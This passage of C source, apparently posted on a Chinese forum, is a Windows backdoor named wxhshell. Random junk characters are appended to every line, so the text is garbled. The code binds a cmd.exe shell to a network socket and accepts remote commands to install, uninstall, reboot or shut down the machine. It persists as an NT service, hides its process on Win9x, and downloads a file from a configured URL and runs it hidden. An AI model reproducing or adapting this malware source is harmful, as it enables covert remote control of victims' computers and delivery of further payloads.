  case 'i': { \ng!qN  
    if(Install()) `}t<5_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxKW% {6o  
    else Y+vG ]?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<.m@q  
    break; YJdM6   
    } 72uARF  
  // 卸载 iI T7pq1  
  case 'r': { RCM;k;@8V  
    if(Uninstall()) 1vKAJ<4W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FXMrD,qVg  
    else Qh*"B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZfMDyS$.  
    break; MIa#\tJj  
    } {k BHZ$/  
  // 显示 wxhshell 所在路径 j#:IG/)GL  
  case 'p': { 7A6Qrfw  
    char svExeFile[MAX_PATH]; (QS4<J"  
    strcpy(svExeFile,"\n\r"); 8t)5b.PS  
      strcat(svExeFile,ExeFile); wq K:=  
        send(wsh,svExeFile,strlen(svExeFile),0); L=g(w$H  
    break; W:5uoO]=<  
    } UnTnc6Bo7W  
  // 重启 @ sLb=vb  
  case 'b': { {}gx;v)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BwpEIV@b]  
    if(Boot(REBOOT))  zciL'9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$DNiJ ,  
    else { lICpfcc(+  
    closesocket(wsh); `"@Pr,L   
    ExitThread(0); l9Xz,H   
    } X#v6v)c  
    break; }eKY%WU>O  
    } TS2zzYE6Z  
  // 关机 ;iA6[uz  
  case 'd': { )W,tL*9[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZC7ZlL _  
    if(Boot(SHUTDOWN)) 0iS"V^aH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vs=8x\W  
    else { *vFXe_.  
    closesocket(wsh); B\WIoz;'  
    ExitThread(0); O4`am:@  
    } 3m;*gOLk6  
    break; ?7;_3+T#  
    } .VD:FFkW  
  // 获取shell "~V|p3  
  case 's': { w?eJVi@w{  
    CmdShell(wsh); eMT}"u8$A  
    closesocket(wsh); JSp V2c5Q  
    ExitThread(0); 4Ny lc.2mi  
    break; 6KH&-ffd  
  } lftT55Tki  
  // 退出 z5njblUz  
  case 'x': { KOv?p@d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _P].Z8  
    CloseIt(wsh); IA6,P>}N  
    break; qoZUX3{  
    } 6h5DvSO  
  // 离开 $3yzB9\a"  
  case 'q': { %imI.6   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F7!q18ew  
    closesocket(wsh); tBB\^xq:  
    WSACleanup(); `8x.Mv  
    exit(1); D MzDV_  
    break; 2)-V\:;js  
        } v35!? 5{  
  } gdj,e ^  
  }  b79z<D  
g$?kL  
  // 提示信息 wC&+nS1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w?JRY  
} xZE%Gf_U  
  } aG*Mj;J  
+uqP:z  
  return; (Zi,~Wqm$  
} pw, <0UhV  
:Vnus @#r  
// shell模块句柄 T[(4z@d`5  
int CmdShell(SOCKET sock) fkHCfcU  
{ ov xX.h O  
STARTUPINFO si; I d}@  
ZeroMemory(&si,sizeof(si)); 6+.8nx:9X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jf</83RZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j&y>?Y&Sb  
PROCESS_INFORMATION ProcessInfo; wJ>.I<F6B  
char cmdline[]="cmd"; ^J-"8%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^U;r>[T9h  
  return 0; f53WDI6  
} eVvDis  
ZHN}:W/p  
// 自身启动模式 -~+Y0\%E  
int StartFromService(void) a +lTAe  
{ @%[ dh@oY  
typedef struct 0}4FwcCr\  
{ ^Mc zumG[  
  DWORD ExitStatus; 2EAY`}Rl6.  
  DWORD PebBaseAddress; K0 6 E:  
  DWORD AffinityMask; UmNh0nS  
  DWORD BasePriority; g[D `.  
  ULONG UniqueProcessId; <c!I\y  
  ULONG InheritedFromUniqueProcessId; u^X,ASkQ  
}   PROCESS_BASIC_INFORMATION; a? <Ar#)j  
e b*w$|y6"  
PROCNTQSIP NtQueryInformationProcess; yv+DM`0  
o|njgmF;\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |+h8g@;Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ry7 [/)  
&60#y4  
  HANDLE             hProcess; q% pjY  
  PROCESS_BASIC_INFORMATION pbi; /4{.J=R}  
-;s-*$I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^2<nn op  
  if(NULL == hInst ) return 0; R![)B97^  
V|T3blG?D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uc?`,;8{`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {!av3Pz\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^(.utO  
-guVl 4 V  
  if (!NtQueryInformationProcess) return 0;  Z5[f  
I]jK]]@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LQ'VhNU  
  if(!hProcess) return 0; UEh-k"  
WEZ)>[Xj?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U66}nN9  
Y)KO*40c  
  CloseHandle(hProcess); R1/87eB  
> Du>vlT Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'i7!"Y6>  
if(hProcess==NULL) return 0; ?5Ub&{  
c&>==pI]k  
HMODULE hMod; >XomjU[srQ  
char procName[255]; !1{kG%B=  
unsigned long cbNeeded; ZNjqH[  
f<K7m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j87IxB?o  
1v"r8=Wt  
  CloseHandle(hProcess); M\w%c5  
R3!3TJ  
if(strstr(procName,"services")) return 1; // 以服务启动 &-B&s.,kj  
Q!(qL[o  
  return 0; // 注册表启动 (.J8Q  
} m=e#1Hs   
z<Y >phc  
// 主模块 >^V3Z{;  
int StartWxhshell(LPSTR lpCmdLine) +f]\>{o4  
{ lBcRt)_O7  
  SOCKET wsl; qcdENIy0b  
BOOL val=TRUE; ]>'yt #]  
  int port=0; 3!<} -sW4  
  struct sockaddr_in door; B_uAa5'  
EC0M0qQ  
  if(wscfg.ws_autoins) Install(); u4,b%h.  
@"$rR+r'  
port=atoi(lpCmdLine); Ymr\8CG/  
5^GFN*poig  
if(port<=0) port=wscfg.ws_port; VQ]MJjvb  
$ix*xm. 4m  
  WSADATA data; F)Qj<6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,`nl";Zc  
qW(_0<E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $KGpcl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mzoNXf:x  
  door.sin_family = AF_INET; }N}\<RG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8QaF(?  
  door.sin_port = htons(port); Pln*?o  
g"&e*fF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RI2Or9.  
closesocket(wsl); x|oa"l^JZ"  
return 1; 2`]_c=  
} Qx%]u8s  
W;9Jah.  
  if(listen(wsl,2) == INVALID_SOCKET) { %G>|u/:U  
closesocket(wsl); k3FpD=N  
return 1; A_\ZY0Xt  
} sJ(q.FRM'  
  Wxhshell(wsl); A[.5Bi  
  WSACleanup(); A1u|L^  
<1EmQ)B   
return 0; ~RS^O poa  
{Q@pF  
} |}y6U< I  
5NECb4FG  
// 以NT服务方式启动 .1 =8c\%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UW/{q`)  
{ 7Yjxx+X9  
DWORD   status = 0; ;zl/  
  DWORD   specificError = 0xfffffff; av*M #  
gc6T`O-_;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0XNj! ^&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T2$V5RyX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Iret :  
  serviceStatus.dwWin32ExitCode     = 0; !agtgS$qII  
  serviceStatus.dwServiceSpecificExitCode = 0; 1n86Mp1.e  
  serviceStatus.dwCheckPoint       = 0; $EuWQq7OI2  
  serviceStatus.dwWaitHint       = 0; x# &ZGFr~  
At#'q>Dn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V^^nJs tV  
  if (hServiceStatusHandle==0) return; W%k0_Y/5  
Mi5"XQ>/  
status = GetLastError(); !Ci\Zg  
  if (status!=NO_ERROR) [!v| M  
{ ?-e'gC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b@&ydgmaQ  
    serviceStatus.dwCheckPoint       = 0; 43?J~}<Vs  
    serviceStatus.dwWaitHint       = 0; +J~q:b.  
    serviceStatus.dwWin32ExitCode     = status; XS'0fq a  
    serviceStatus.dwServiceSpecificExitCode = specificError; D(]])4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N>A*N,+  
    return; #(`@D7S"  
  } /N>bEr4w  
3C8W]yw/s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t/baze;V  
  serviceStatus.dwCheckPoint       = 0; m )2t<  
  serviceStatus.dwWaitHint       = 0; &Z^,-Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zFtwAa=r  
} X[cSmkp7  
gl4|D  
// 处理NT服务事件,比如:启动、停止 CbA2?(1o1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $ZPiM  
{ 5^\f[}  
switch(fdwControl) QzQTE-SQ  
{ @zJhJ'~ Sl  
case SERVICE_CONTROL_STOP: AjQ^ {P  
  serviceStatus.dwWin32ExitCode = 0; M zLx2?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 vS]O$w<4  
  serviceStatus.dwCheckPoint   = 0; ?=]*r>a3  
  serviceStatus.dwWaitHint     = 0; 5[Ryc[  
  {  uT}Jw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | ZI~#V  
  } g8{?;  
  return; f]BG`rJX  
case SERVICE_CONTROL_PAUSE: E&/D%}Wl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "5-S:+  
  break; hOX$|0i  
case SERVICE_CONTROL_CONTINUE: 1MV\ ^l_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _`JY A  
  break; <h/\)bPB  
case SERVICE_CONTROL_INTERROGATE: eqSCNYN  
  break; <N%8"o  
}; \Mv8pU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;n*N9-|.  
} Z:#-4CiP  
H>-?/H  
// 标准应用程序主函数 {V!Jj6n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =#i#IF42?  
{ j${:Y$VmE  
N>OF tP  
// 获取操作系统版本 nFl=D=50-  
OsIsNt=GetOsVer(); Musz+<]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qr;es,f  
$ ;/Ny)"  
  // 从命令行安装 G6zFCgFJ^y  
  if(strpbrk(lpCmdLine,"iI")) Install(); gz[Ng> D+  
[|2uu."$  
  // 下载执行文件 @NXGVmY1}  
if(wscfg.ws_downexe) { $J #}3;a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \<VwGbzFi  
  WinExec(wscfg.ws_filenam,SW_HIDE); : 5@cj j  
} %>uGzQ61  
j\nnx8`7  
if(!OsIsNt) { RGGP6SDc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^c1I'9(r5  
HideProc(); #ZIV>(Q\H  
StartWxhshell(lpCmdLine); N1Y*IkW"  
} VwoCR q*  
else kNW&rg  
  if(StartFromService()) t%Z_*mIfmE  
  // 以服务方式启动 ??rx\*,C</  
  StartServiceCtrlDispatcher(DispatchTable); ,z)7rU`  
else @T1/S&F=  
  // 普通方式启动 ^sq3@*hCw  
  StartWxhshell(lpCmdLine); Y#c11q Z  
E~zLhJTUL'  
return 0; IPcAE!h6zN  
}
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只看该作者 1 发表于: 2006-10-10
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